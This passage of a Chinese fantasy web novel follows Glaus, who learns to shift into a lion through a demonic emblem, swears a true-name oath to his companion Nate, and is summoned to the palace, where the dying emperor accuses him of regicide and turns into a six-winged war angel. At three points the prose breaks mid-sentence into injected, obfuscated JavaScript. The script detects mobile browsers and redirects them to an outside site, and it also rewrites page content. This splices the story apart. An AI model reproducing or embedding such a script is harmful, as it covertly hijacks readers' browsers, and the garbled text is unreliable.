“我一直想邀请你来着。呃——虽然还是家徒四壁,非常简陋。” 内特没有介意,“请带路吧。” 格劳斯在黑暗中的视野也同样清晰,甚至能看见隧道的墙壁上每一道抓痕。他现在知道这条路是怎么挖出来的了,甚至能如履平地的在这里奔跑。他牵着内特的手,内特没办法像自己一样在黑暗中看路,不免跌跌撞撞的,但是又不肯开口让格劳斯走慢点。 格劳斯见状,便停下脚步。 ”怎么啦?”内特问。 “我有个提议——可以让你走得轻松点。” “我不累。” “是我的新能力,就当我想尝试一下吧。” 内特有些好奇的望望他,格劳斯松开手,稍微后退了几步。他半蹲到地上,双手在肉眼可见的变得更加粗壮、骨骼发出咯咯的声音,它们开始变形、拉长,他的脊背弓起来,同时,一簇簇黑色的毛发从他的全身的皮下长出来。当黑色的光泽从格劳斯全身闪烁而过后,人类青年格劳斯消失了,内特面前伏着一只威风凛凛的黑色大狮子。 狮子站起身,他深黑色的鬃毛蓬松的环绕着颈脖,体长接近两米,个头几乎比内特还高了。狮子吐着鼻息,胡须抖了抖,白色的眼睛望着内特。 “哇,”内特颇为惊叹的看着格劳斯,慢慢走近,抬起手,摸了摸狮子的头。狮子嘶呼着,喷出热气,微微低下头。他似乎并不习惯人类的手指在自己的脸上摸索,但是他没有攻击内特,只是咧开嘴,露出坚硬粗大的牙齿。 “这……这可真是意想不到。还蛮威风的。” 格劳斯没有回答,或许,在狮子的形态下,他没法像人类时那样沟通。狮子卧下前肢,示意内特坐到自己的背上。 内特爬上狮子覆着短毛的脊背,野兽的躯体是如此温热有力,狮子的脊骨像坚硬的小丘,他强壮的肌肉随着每一次动作而流畅的滑动着,随时可以爆发出惊人的力量,瞬间置猎物于死地。内特颇为兴奋的伏在狮子的背上,抓着他的鬃毛,狮子低吼一声,从地上站起来,向前奔跑起来。内特可以感觉到地底的风快速的刮过自己的脸颊,狮子的四肢是如何收缩、绷紧、发力,然后带动全身摆动——每一次呼吸时,狮子会发出呼噜噜的低吼声。 格劳斯轻车熟路,他们很快就离开了地底,从一个暗道钻出了地面。 这一次倒不是红房子了,夏夜凉爽的风吹干了内特身上的汗水,星星还在晴朗的夜空上闪烁。他们从一个巷子里钻出来,内特拍拍身下的狮子,提醒道:“我们出来了,格劳斯。你可以变回去了……” 但是不知为何,格劳斯依然保持着狮子的样子。内特心中警铃大作,突然,狮子低吼一声,把内特甩脸下来,然后扑到他的身上。他居高临下的看着内特,白色的眼睛里竖着一对细长的黑色瞳孔,像某种未被驯服的野兽。狮子张开嘴,它喷着热气的大口就要对着内特咬下来。 “格劳斯!”内特愤怒的叫了一声,他向旁侧一滚,躲开了狮子的攻击,在狮子再一次朝自己挥动爪子之前从地上跳起来,闪到一旁的角落。 “你疯了?攻击我?” 狮子又吼了一声,声音洪亮威严,如果刚才的动静只是把附近的居民晃了晃,现在肯定要有人被吵醒了。不仅如此,夜晚巡逻的卫兵也有可能被惊动。 内特在心中快速思考,是自己立刻传送走,还是带着这个失去理智的狮子一起转移……但是,这头狮子六亲不认的样子也很危险。格劳斯的样子形迹可疑,倘若被卫兵看到,肯定有不少麻烦。 就在内特准备发动纹章,把两人带离此地之时,格劳斯终于重新找回了理智。狮子的爪子收了回去,他在地上烦躁的打着圈,黑色的竖瞳变化着,身上长长的鬃毛开始变短,向皮肤内收缩,他的躯体也在重新变得瘦削,直到狮子完全变回人形。格劳斯的棕发贴在自己汗涔涔的脸上,青年惊魂未定地伏在地上大口大口地喘着气。 内特要靠近他,格劳斯抬起一只手,示意内特等一下。然后他又喘了一会气,好像才重新缓过神来,扶着自己的腿站起来。 “抱歉,刚才没有伤到你吧?” “你差点把我的头啃下来!” 格劳斯有些歉意的说:“对不起,我也不知道这是怎么回事,后来我突然感觉浑身发冷,回过神时已经失去了一段意识。” 内特锤了格劳斯的脑袋一下,示意他不要再解释了。 卫兵结队往这里踏步的声音已经能由远及近的听到,内特拉着格劳斯问:“你家在哪?” “已经到了,就在隔壁。” 格劳斯指着左边的墙壁比划了一下,但是房屋的正门对着街道,一旦两人从巷子里出去,就会和外面道路的卫兵撞个正着。 内特将手比在嘴上,示意格劳斯不要说话,然后另一只手摸到墙上。繁复的银色花纹从他的手臂延展到灰色的砖面,几秒钟后,那扇墙仿佛变得柔软,好像能够踏进去。内特拽了格劳斯一把,一瞬间天旋地转,格劳斯回过神来已经被扔进了自己家里。 格劳斯趴在地上,而内特依然靠在窗边,他把窗帘拉开一个角,小心地往外看着。过了一会,等外面的卫兵搜寻无果,散开以后,内特才把窗帘放下,转身对格劳斯说:“你的洗漱间在哪?我去洗脸。” 他又指着格劳斯的身体比划了一下,“你最好换身衣服。” 格劳斯低下头,发现自己的衣服早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502498|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在之前的打斗时破了,现在基本上是在光着膀子裸奔。他忙趁内特离开时打开柜子,找出为数不多的另一件衣服穿上。 在城市生活真是破费啊,格劳斯在心中想,来亚斯提都几天,我的剑和衣服都换了两套了。 格劳斯的家,准确的说是个廉价屋子,是他在来亚斯提都不久后租下来的。卧室只有十几平米大,连椅子都没有,靠墙的衣柜和床,都是上一任租户留下来的。房间里有油灯,但是格劳斯为了省钱,从没用过。 格劳斯点燃油灯,坐到床上,又对自己的新能力蠢蠢欲动。他想:既然完全变成狮子会失控,那么只变一小部分会怎么样呢?他举起右手,试着只让自己的手变成爪子的样子。黑色的光泽再次缠上他的皮肤,格劳斯感觉到一阵冰冷刺骨的寒意从右臂传来,随后皮下的骨骼开始变形,肌肉跟着膨大,一簇簇黑色的毛从小臂和手背上长出来。他的指甲开始变尖,不再是人的右手,而是野兽的爪子——格劳斯满意的把手放在面前转来转去,让指甲伸长又缩回来,像在玩一个新奇的玩具。 “又在尝试你的能力?”内特从背后问了一声,格劳斯吓了一跳,手哆嗦一下,一下子把床板扎出三个窟窿。他讪讪的把爪子收回来,看见内特已经洗漱完了,他银色的头发散开,披到腰上,坐到自己的旁边。 “是,控制得还不太好……”格劳斯说。随后,格劳斯正色问道:“内特,为什么你会在那里?那时真的很危险。” 内特撇了撇嘴,解释说:“有时我会梦见以前去过的地方,心神不宁的时候……这是我第一次在梦游时把自己传送出去。” “这不会很危险吗?如果去到陌生的地方怎么办?” “不会,空间纹章只能带我去我去过的地方。” 内特又问道 :“格劳斯,当时你怎么在那?” “我听到了呼唤的声音,好像有人在叫我。”格劳斯说,“在你第一次带我去红房子的时候,我也听到过。可能那时那个怪物就在附近。” 格劳斯问:“为什么只有我会听见那个怪物的声音?” 内特微笑了一下:“这就是你的纹章,它命中注定会吸引你。” “纹章。”格劳斯喃喃道,“内特,纹章究竟是什么?” 对于格劳斯的问题,内特沉默了下来。然后他站起身,走到格劳斯的面前。 “你能发誓吗,格劳斯?” “发什么誓?” “以你的真名发誓——你不会将我告诉你的东西透露出去。发誓你不会用它们伤害我,无论去到哪里,都不会背叛我。” 格劳斯抬起头,看着内特——他怎么会背叛他呢?如果没有内特,自己在亚斯提都的郊外就死了。是他保护了自己,有很多次,甚至现在,自己也总是需要内特。 格劳斯不能说自己了解内特·梅菲杰拉德,他是不是一个好人,他是否真的在乎自己。内特与格劳斯不一样,他来自另一个世界,那里弱肉强食、危机四伏,但是那里才是真正的世界,只有那里才存在着真正的机会。正如兽纹章呼唤着格劳斯一样,对危险和希望的追求同样主宰着他,他的心中早就住着雄心壮志的野兽。 誓言会约束他,或许他会失去一部分自由,但是他更畏惧无法成长,永远停滞不前。 于是格劳斯说: “我发誓。” 他站起身,半跪到内特的面前,垂下头。他将右手放到自己的心口上: “我以我的真名发誓,恪守内特·梅菲杰拉德交给我的一切秘密。我永远保护它们,正如我将守护你,无论我去往哪里,我都会回到你的身边。” 内特抬起左手,掌心对着格劳斯的额头,他的身上浮现出莹莹的光芒,那一刻,格劳斯感觉自己心脏中某些东西永远地与内特·梅菲杰拉德连在一起了。 “誓言有效——永远不要忘记,你是我的。格劳斯·耶格尔。” 10. 10-纹章之谜 誓言在卡克奇克大陆大致分为三种,前两种最为常见。第一类誓言更像是约定,双方就某种事达成约定,人们可以在誓言里规定违约的代价,通常在可以接受的范围里,许多家族在宣誓忠诚时,一般是发第一种誓言。 第二类誓言是没有纹章的人能发的最重的誓,以真名起誓,格劳斯向内特发的誓言就是第二种。誓言约束的对象是名为格劳斯·耶格尔的灵魂,既然他发誓要保护内特告诉他的秘密、保护内特,那么哪怕他受纹章影响失去理智,也不会违反誓言的约定。这种誓言往往以发誓者的生命为代价,虽然誓言约定的内容依然可以在许多条件下被打破和违反,但已能约束相当多的场合。 第三种誓言最少出现,只有在极重大的场合使用,是以真名和纹章双重起誓。譬如在婚礼上。 内特见格劳斯发完誓言,不会失控伤害自己,便放松下来,重新坐到他的旁边。他抓起格劳斯的左手,握在手里,然后说道:“现在,你把这只手变成狮子的爪子。” 格劳斯依言,闭上眼睛,只感觉寒冷缠绕上他左手的皮肤,那只手再一次变成黑色的狮爪。内特问:“当你发动能力时,你看到了什么?” 格劳斯说道:“我感觉自己站在一个渡口旁边。面前是一望无尽的黑色的湖水。当它们上涨时,冰冷的黑水没过我的躯体,我沉入黑暗中,便变成狮子的样子。可是后来我渐渐喘不过气了,寒意几乎深入骨髓,于是我拼命向水面游去——等我终于挣脱出来,才找回自我,四肢都沉重极了。于是,刚才我试着只把左手伸进水里——就只有左手变成爪子了。” 内特安静的听完,然后单手抓着格劳斯的左手,像侧平举那样抬起来。他解开格劳斯衬衫的扣子,把他的胸膛露出来,然后说道:“现在,你让两条腿也变成爪子。不要闭眼,看着我。” 格劳斯感觉心脏不安地跳起来,或者说躁动着,他一边让自己的意识沉入那刺骨的黑水中,一边努力睁开眼睛,凝视着内特清明的浅金色眼睛。他的呼吸急促起来,属于人的意识正被某种陌生、原始的野性意识占据,那寒冷让他对世界的感知也变得模糊起来,只有内特清澈有力的目光让他移不开眼睛。就在这时内特凑了过来,他的另一只手搭上了格劳斯心脏的位置——格劳斯感觉自己的心狂跳起来,对生命被放在危险位置的危机感让他背后汗毛耸立,可是他知道内特不会伤害自己,他也不会伤害他、所以他逼迫自己乖乖坐好。然后内特说:“你看——这就是你的纹章。” 格劳斯顺着内特的动作低下头,看见自己左胸的位置,一个黑色的花纹正在内特的手下若隐若现的浮出,像三个扭曲的兽首相互撕咬的样子。 “这就是兽纹章——恶魔,它在你的心脏的位置。它现在才是第一阶的启示(Mark)。当你作为纹章持有者死去时,它会再一次以黑色结晶的方式析出。” “一阶的启示?难道纹章可以进化吗?” “据我所知,纹章共有启示、真名、主纹、绶痕四阶,每一阶细分三个位阶,上位、标准位和下位。我的空间纹章就位于启示的上位,等我突破,就能得到真名了。而你现在应该在启示的下位。” “我以前从没听说过纹章。” 内特解释道: “纹章的存在一向只被少数人掌握。一些特定的纹章只存在对应的种族里。——从现实的情况看,纹章是与个人的灵魂呼应的另一种力量。可以通过夺取和传承获得,传承的意思是,如果父母有纹章能力,他们的子女便会觉醒和父母相同的纹章能力。” “夺取呢?我杀死别的纹章持有者,就能拥有他们的纹章能力了吗?” 内特摇摇头。 “纹章是有适配性的。你只能吞噬与自己同种的纹章,比如另一个恶魔纹章——恶魔纹章也会呼唤所有适配它的人来相互残杀,直到最后一个活下来。你就是这种情况。但是,很多人依然会喜欢收集纹章,可以给予还没有纹章能力的适配者。” ”难怪那时我感觉自己浑浑噩噩的,”格劳斯若有所思,“如果我吞噬了其他纹章会怎么样?” 内特谨慎地说:“那种方法确实是可行的。为了追求快速的力量,吞噬同名的纹章——但是,哪怕是同名的纹章,因为其主人灵魂不同,吞噬以后,必然会出现无法相容的部分。就像灵魂分裂一样,最后只有更强的一方会留下来。” “所以一个人只能有一种纹章能力啰?” “理论上是这样。除非这个人受到巨大的刺激,比如人格都发生了变化,他的纹章能力当然也会改变。除此之外,我还没遇见过有两个纹章能力的人。” “那,对于我这个难以驾驭的纹章——我该怎么做?” “纹章的力量来源于灵魂。重要的是了解自己,掌握自己,而非让纹章掌握你。” “你也会遇到这种情况吗,内特?你的空间纹章会有发挥失常的时候吗?” 内特得意地说:“我可跟你不同。我是天生的空间能力,使用它就像呼吸一样自然。” “真好啊。”格劳斯说,他又瞅了一眼胸口的恶魔纹章,羊首、狮头和蛇的纹路仿佛有生命力般微微旋转扭曲着,他想,除了狮子,自己莫非还能变成别的样子?他心中对这个念头蠢蠢欲动,反正自己不用担心会伤害内特,便转过身,握住内特的两只手,期待的说:“内特,我想试着再发动一次能力。拜托你再守着我。” 内特歪歪头,他们周围于是升起了一层透明的空间屏障,连声音都不用担心会传出去。格劳斯微微低下头,他能变成狮子,是因为他对狮子象征的某些感情最熟悉——野心,征服、探索,当他变成狮子时,纹章似乎把他心中相似的情感一并放大了。但是这一次又不一样,这次意味着什么呢? 内特看见格劳斯的黑色的瞳孔慢慢的褪色,仿佛白色的雾气在他的眼睛里弥漫。他棕色的头发由深转黑,他的躯体在变得高大挺拔,握住他的手并没有用力,但是他手上的皮肤也在跟着变白,变得好像有一层半透明的膜。这时候,内特听见格劳斯呼吸急促起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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格劳斯害羞地抿起嘴,然后说:“不。我能听见,你的呼吸声、心跳声……我能闻到……你的气味。”他凑得更近了,几乎将自己贴到内特的下巴上,仰起头,白色的眼睛望了望内特:“我想看看你的纹章的地方,……可以吗?” 内特的喉结动了动,他侧过头,心想:反正他看不见。 纹章只有在持有者刻意的情况才能在身体上浮现出来,它的位置可以说是持有者的一个弱点。 内特撩起自己后颈的头发,那繁复的银色花纹亮了起来,在格劳斯的面前,像一朵异世界的花在内特后颈繁盛的绽开。格劳斯被那光芒吸引着,几乎喘不过气,内特是如此不设防、让人着迷、让人想要握在手里。因为自己也确实这么做了,他贴在内特的颈后,将下巴抵在他的肩膀上,从背后揽住他的腰。他可以嗅到内特覆着薄汗的气味,他的心跳因自己的动作而加快起来。 格劳斯问道: “内特,我可以触碰你吗?” 内特想,或许是纹章发现了格劳斯隐藏在角落里的、甚至他本人都意识不到的欲望,或者是本能已占领了人类的意识,在驱使着他做出下意识的反应。格劳斯是如此纯真又粘人的靠在自己身上,动作轻柔,可他额头的角已变得更加膨大、弯曲,白色的瞳孔在黑色的睫毛遮盖下毫无保留的注视着自己。 内特想,就算是非人的危险的怪物又怎么样呢?至少他不会伤害我。 他点点头。 11. 11-近卫军来访 内特的余光可以看到格劳斯黑色的羊角从发丝里伸出来,光滑的、末端微微弯曲,他知道,格劳斯的能力潜藏着怎样的危险……但是格劳斯不会伤害他,他收起自己伤人的一部分,这份无害的虔诚让内特几乎膨胀起来。一个怪物,一个……只属于自己的怪物。格劳斯变化最大的是他的小腿,他小腿的肌肉向前弓起,脚趾变形,他跪在床上,两只脚像山羊黑色的蹄子。 格劳斯的身躯因为纹章的影响,变得高大,屈身在内特旁边,小床几乎装不下他们。那层黑色的毛发慢慢从格劳斯的手臂上褪去,他的小腿不再像山羊般弓起,当它们变回人类的双脚时,格劳斯忍不住揉了揉自己的小腿,他的肌肉在一抽一抽的疼痛。 内特蜷缩在格劳斯的旁边,他的银发凌乱的散着,枕着格劳斯唯一的枕头。 “内特,”格劳斯低声问道,“对你来说,我是什么呢?” “嗯?”内特迷迷糊糊的说,“你是我的……” 他金色的眼睛疲倦的阖上了。 格劳斯又往一旁挪了挪,腾出更大的空间给内特睡觉,自己则靠着墙坐着。从他的角度,他可以看见内特俊美柔和的容貌,他尚未褪去汗水的蜜色皮肤,和低垂的银色睫毛,随着他的呼吸轻颤着。以及格劳斯可以更清晰的看到的,内特身上尚未愈合的伤口,以及一些青紫的,大大小小的,不该出现的痕迹。格劳斯眯了眯眼睛,他的瞳色变深了一些,但是很快又恢复了——他的手指轻柔的穿梭过内特的头发,显然,对方已陷入沉睡——他不会问的,如果内特不主动提起,格劳斯便永远不会问这些事。 可是,他依然无法克制的微微颤抖着,他感觉到自己内心属于人的理智第一次出现动摇,某些黑暗的情绪在心中贪婪的舔舐着他,格劳斯穿过内特头发的手指落上他瘦削的下巴上,抚过他的唇珠,在不知不觉间发力——会有一天,他将知道这里发生的一切,以及自己在其中扮演的角色。命运的线将他们编织在一起,那是血与剑交织鸣响的狂歌,那一天终究会到来——而那时,夺取与毁灭一切,或许本身就是同一件事。 ·· 清晨的光线十分明亮,天空已然放晴,碧蓝的天空洁净如洗。在晴空下,亚斯提都的水晶王城就像闪耀的白色珠宝,与不远处的圣山教堂相互呼应,清晨的钟声响起,群鸟阵阵飞过。而在首都的入口,依然有如织的人群不远万里赶来这里,希望找到新的生活。 内特从睡梦中醒来,外面天空已经大亮,初夏的气温还未开始升高。他听见外面传来响动的声音,从床上坐起来,看见格劳斯已经穿戴整齐,坐在地上,在啃一块面包。 “你醒了?”格劳斯问道。 内特揉了揉头发,打了个呵欠。他翻身下床,打量到:“你平时就吃这些东西,格劳斯?” 格劳斯不大好意思的把嘴角的面包渣擦掉,把原本浮到嘴边的“你要不要也吃点”咽了回去。 “我觉得挺物美价廉的……”格劳斯争辩道。 内特耸耸肩:“反正,等以后你的地位高了,也不用吃这些东西了。” 片刻之内他已经穿好了衣服,格劳斯问道:“你现在就准备走了吗?” 内特颇为好笑地看了他一眼,“不然呢?” “我以为,发生了那么多事,或许你会想多留一会……” “或许吧,”内特朝他挥了一下手,银色的花纹已经浮了上来。“下次见!” 内特已经消失在了银色的光芒中。 格劳斯朝着他消失的方向看了一会,然后收拾好自己的东西,虽然唯一的铁剑没有了,但是得到了新的纹章,让格劳斯增加了不少安全感。他摸了摸自己怦怦直跳的心口,长吁几口气,然后快步走出房门。 他很快向自己的长官贝克兰德汇报了昨晚发生的一些事情,只挑了部分重点:自己是如何遇到那头三首的怪物,以及那条隧道在哪里;至于内特的部分和纹章的事情,格劳斯觉得如果没有人问,自己还是不要主动提及比较好。贝克兰德对自己的经历大为吃惊,他表示他会向国王和首相报告这件事,对那头三首的怪物,贝克兰德猜测或许是魔族的产物: “自大将军将魔族赶向南方的要塞之外以来,亚斯提都已经很少出现魔物害人的事情了。”贝克兰德叹了口气,“或许议会会派近卫军把亚斯提都的地下重新扫一遍,谁知道呢?加紧巡逻吧,格劳斯。” 既然贝克兰德把这件事当作普通的魔族袭击处理,格劳斯也不再过度担心此事。卡克奇克大陆是由八个种族组成的,而直到人类推翻龙族的统治,建立了自己的王国,两百多年来,人们便把除自己之外的种族统称为魔族。格劳斯在村子里生活时,曾见过一些青色的巨兽袭击村子,老人说那是泰坦——再加上最近遇到的精灵,除此之外,格劳斯对魔族的概念聊胜于无。 格劳斯很快融入到巡逻的工作中,下午没再发生什么事,只是恶魔纹章提升后的五感让他有了新的体验,甚至带来一些麻烦:白天他的视野极其清晰,他甚至能看见十几米外吆喝的小贩身上布料的纹路;同样,亚斯提都下城区人畜交杂的气味也直冲入鼻子,香水、臭味、粉刷的味道交杂着,几乎让格劳斯一直在打喷嚏。他的力气也变大了,格劳斯暗想,掰手腕的话,他甚至有把握赢任何一个铁匠——只要对方别有什么大力纹章之类的。 直到格劳斯结束一天的工作,重新回到家中,放下自己的外套,就在这时,他听见轻盈的脚步声由远及近,伴随着金属相互敲击的叮叮声。对方只有一个人,格劳斯还在判断,那脚步声就已经在自己房门外站定,紧接着,传来叩叩几声。 格劳斯的肌肉绷紧了,他走到门口,竭力让自己显得镇定,接着拉开门。 一位少女站在门外,浅金色的头发一丝不苟的梳到脑后,扎一根蓝色丝带。她身材纤细,浅绿色的眼睛神采奕奕地看着他。她穿着亚斯提都近卫军的米白色军装,更引人注目的是她的腰带,她别一条厚重的金属腰带,在腰带两侧,是两支西洋长剑。少女朝格劳斯行了一个军礼,发出铿锵两声,格劳斯注意到她的双手也穿着银色的金属手甲,从手指一直包裹到小臂。 “亚斯提都近卫军少尉,克莱希!请问您是格劳斯·耶格尔吗?”少女问道。 “是的。”格劳斯不太确定的说,不知道近卫军突然登门拜访是什么 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克莱希说话时,尽管嘴角带着笑容,祖母绿的眼睛却一眨不眨的平视前方。她虽然身材小巧,容貌秀丽,却带着不容置喙的气场,举手投足之间,金属的铠甲反衬托出她锋锐的气质。 “你看起来受过很多训练。”格劳斯说,“近卫军都像你这样优秀吗?” 克莱希微笑了一下:“您过奖了。家父自幼对我要求严格,要像真正的军人一样训练。其实我也是才加入近卫军不久。” 谈话之间,他们已经走到了水晶王宫的门口。这还是格劳斯第一次得以近距离看到王国首都的宫殿。白色的大理石台阶向上,正对着敞开的拱形正门,由八根大理石圆柱支撑,上面都雕刻着羽毛花纹。皇宫的正殿的二层更往上,是十几米高的水晶塔楼,三位天使环绕着它,这颗水晶闪烁着永恒的光芒。此刻,太阳已经渐渐西垂,透过暮色的云朵,给剔透的水晶染上一层红色。 格劳斯仰起头,正前方是巨大的石雕像——皇帝,征服者,康斯坦丁国王。年轻的国王身披斗篷,骑着骏马,昂首挺胸,挥剑前举,好像整个世界仍等待在他的脚下。 不远处的教堂传来几声钟鸣,犹如天使齐颂,克莱希侧耳聆听了一会,然后微笑着说:“大人们或许在用餐呢。我们走吧,格劳斯。” 他们穿过正殿走廊,头顶是无数枝水晶圣母吊盏,随着钟声震动,冷冰冰的晃动着。格劳斯忍不住想,除了这些灯盏器物,这座水晶王宫真是太冷清了。即使长官们都离开去聚餐,偌大的皇宫却连一位仆人都没有。他试着让自己的听力和嗅觉延长,却依然什么都听不到、闻不到。格劳斯原本以为自己会被引到议事厅,或者王座前,但是克莱希带着他转过弯,穿过长廊,走向一个偏殿。 “请吧,”克莱希在偏殿外站定,手已推开雕花的厚重木门。“宰相大人在等着你呢。” 格劳斯不合时宜的想到:近卫军不是由近卫军总管负责吗?为什么要见自己的,却是宰相呢—— 但是他已经来不及提问了。他可以闻到了,那先前一丝一毫没有泄露的,此刻即使没有纹章却也能闻到的,浓郁粘稠的血腥味了。 就在那房间里。 12. 12-弑君者 · 朱红色的房间内,虽然从昨夜开始就一直点燃着罂粟花香,却依然遮掩不住血的腥气。大床的丝绸帷幕低垂着,深色的被褥被血水浸得发黑,粘稠的血液滴进地毯里。房间的壁炉烧着火,烤得房间内热烘烘的,混合着花的香气和血味,闷得几乎让人喘不过气。 老者躺在床上,他干枯的白发已经几乎掉光了,他骨瘦如柴的躺在厚重的被褥里,又干又黄的皮肤紧紧绷在骨头上;他身上穿着精心编织的红色睡衣,画着金色的羽毛花纹,可老人却瘦小的几乎陷在床里,他的两只眼睛只剩孤零零的黑洞,若不是仍张着嘴,发出嘶——呼——的声音,任何人都会觉得躺在这里的只是一具骷髅。几个血袋挂在床头,细长的管子伸出来,连进被褥里老者看不见的身躯上。他冰冷的手从被褥里伸出来,抓住宰相,摇晃着。 宰相穿着赭红色的外衣,坐在床边,象牙手杖靠在椅子旁边。他握着皇帝干枯冰冷的手掌,轻声说道:“陛下,您现在应该休息。” 皇帝摇着头,他茫然的睁着眼睛,几声嘶呼般的声音从他的喉咙里吐出来。 “我——我的——”他说道,“食物——” 赖兹瑙抬起头,看了一眼挂着输血的血袋,摇摇头:“还不行,陛下。您现在还不能吃任何食物。” “为什么,赖兹瑙?” “您没办法消化它们。您的胃破了。” 听到宰相的回答,康斯坦丁的胸膛上下起伏着,他几乎只剩呼出的气,那几句话已经耗尽了他的力气。他费劲的侧过头,仿佛困惑般的,只剩黑洞的眼睛看向赖兹瑙:“发生了,发生了什么?赖兹瑙?” 赖兹瑙垂下头,看着年迈的皇帝,充满歉意地说:“您遭到了刺杀,这是臣子的失职。” “刺、刺杀?” “一只野兽偷偷溜进了这里。它一定很擅长隐匿气息,近卫军竟然没有发现。它的爪子撕破了您的肚子。”赖兹瑙的手在国王的身上轻轻划了一下。 康斯坦丁垂下头,目光随着赖兹瑙的动作落在自己的腹部。那里盖着被子,遮住了康斯坦丁的视线,但是皇帝可能早就什么都看不见了。 “我的时间要到了吗,赖兹瑙?” “恐怕没有办法了,陛下。” 康斯坦丁仰起头,他半是迷茫的,麻木的手掌抓着宰相,好像在困惑发生在自己身上的事情,又好像在质问这一切。 “我是个,称职的,皇帝吗?赖兹瑙?” “没有人比您更伟大了,陛下。” 康斯坦丁没有回应,他空洞的目光看向虚空,问道:“为什么没有人,在我身边,赖兹瑙?为什么,我的儿子,都没有来?” 赖兹瑙回答道:“陛下,大将军已经出发,快马加鞭的护送庞贝皇子回来。” “不是庞贝……”康斯坦丁摇了摇头,“杜鲁特、纳斯汀、哈拉维,”他说,“我想见我的孩子们。” 康斯坦丁提到的是他的前三个孩子。杜鲁特早夭,纳斯汀在二十岁时死于战场,哈拉维在四十五岁病逝,哈拉维去世时,康斯坦丁八十岁。从那时至今,已过了一百多年,除了历史书之外,这些名字赖兹瑙还是第一次从国王口中听到。 赖兹瑙没有回答,将话题转开: “我没有办法让您见到他们,陛下。但是,有一个人您或许认识。” “是谁?” “那个刺杀者,陛下。” 康斯坦丁的眼睛瞪大了,他急促的喘息着,手紧紧攥着赖兹瑙。 “不,不是,”康斯坦丁说,“我想见的不是他……” 赖兹瑙摇摇头。 “现在需要您专注,陛下。我需要您告诉我,是不是他刺杀了您。” 深红色的木门推开了,外界的凉风从走廊刮进来,吹进这个闷热的房间,皇帝虽然盖在层层叠叠的被子里,依然被这寒气吹得哆嗦一下。 顺着宰相的话,皇帝仰起头,他黑洞般的眼睛看向推门而入的瘦削的棕发青年,准确的说是他的心脏。仅一眼,那骷髅般的面孔便发出骇然的叫声: “是你!” 垂死的皇帝尖叫道, “弑君者!” ·· 格劳斯·耶格尔想,这一切或许发生了什么误会。他从来亚斯提都的这段时间开始,连皇帝的样子都没有见过。若不是克莱希领着他,他甚至从没进过水晶皇宫。他应该感到警惕,为什么偌大的皇宫空无一人,为什么房间里满是血腥味,连站在门口的克莱希也对一切异样熟视无睹。 从踏入这个房间开始,格劳斯便不安的汗毛倒立,这里的血腥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502501|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气味太浓,就好像有许多人死在这里。他还没有找到克莱希提到的宰相,那位床上的老者就在这时指着他大喊:‘弑君者!’ 格劳斯吓了一跳,不等他回应,他便感觉一阵阴冷的寒风从前方直逼过来,那力量让他头皮发麻,好像自己瞬间命悬一线。格劳斯立刻翻身跳开,黑色的鬃毛从他的皮肤下长出来,他的肌肉膨胀,骨骼伸展,当他落到地上时,已化作一头黑色的雄狮,鬃毛耸立,白色的眼睛瞪向床上的老者。狮子威胁的龇牙咧嘴,露出白色的獠牙,发出阵阵低吼。 而老人竟毫不畏惧的直起身,他穿着的那身红色睡衣已遮不住他骨瘦如柴的身躯,那些挂在床帷上的血袋随着老者的动作而跟着晃动。而老人瘦如骷髅的手竟抓住那几根连上腹部的输液管,把它们一把扯了出来。红色的血浆流得满地都是,而格劳斯可以看见他衣服下露出的身躯,他的肚子上是几条可怖的口子,从腰侧直接划得肚破肠流,那些皮肤无法被完全缝上,只能欲盖弥彰的用绷带遮住。已经鲜血淋漓的老者摇摇晃晃的向格劳斯的方向走了一步,竟然让狮子产生了恐惧。 他是谁?他多少岁了?他为什么伤得这样重,却依然活着? “弑君者……”他喃喃说,“我不会死在你的手上……” 然而,老人仅向前跨了一步,浑身就被抽干了力气,像失去了骨架的皮囊倒在地上。然后他的脊背向上拱起,好像有什么东西要从这皮肤中破土而出。格劳斯听见咔咔破裂的声音,紧接着他背后的皮肤破开,老人倒在地上,而六翼金色的羽毛翅膀从他背后的皮肤下伸出来。跟着从中站起一个身披金色铠甲的人形,他的脸上同样覆着盔甲,一道十字型的花纹刻在正面。 ‘祂’——并非人类,也不是生物的人形,从头到脚覆盖着金光闪闪的铠甲,背后伸展着六翼翅膀,手握长剑,彷佛在呼唤追随者同他一起战斗,形象正如康斯坦丁家族画着羽毛的纹章。或许只有天使这个称呼才正确——天使从死去的尸体中飞起来,悬浮在半空中,神圣凛然,威严而不可侵犯,金色的羽翼在身后拍打,居高临下的看着格劳斯。随后,天使举起手中的长剑,刺向他。 两百年前从龙族手下推翻一切的力量,人类帝国之王,最接近神的纹章,曾经的四阶绶痕【战争天使】,再一次显露它的真容。 13. 13-战争天使 金色的天使飞翔起来,每一次扇动翅膀,都会有羽毛从背后落下来。天使左手持剑,剑尖朝上的握在胸前,停留片刻,然后转向格劳斯,一剑刺下去。 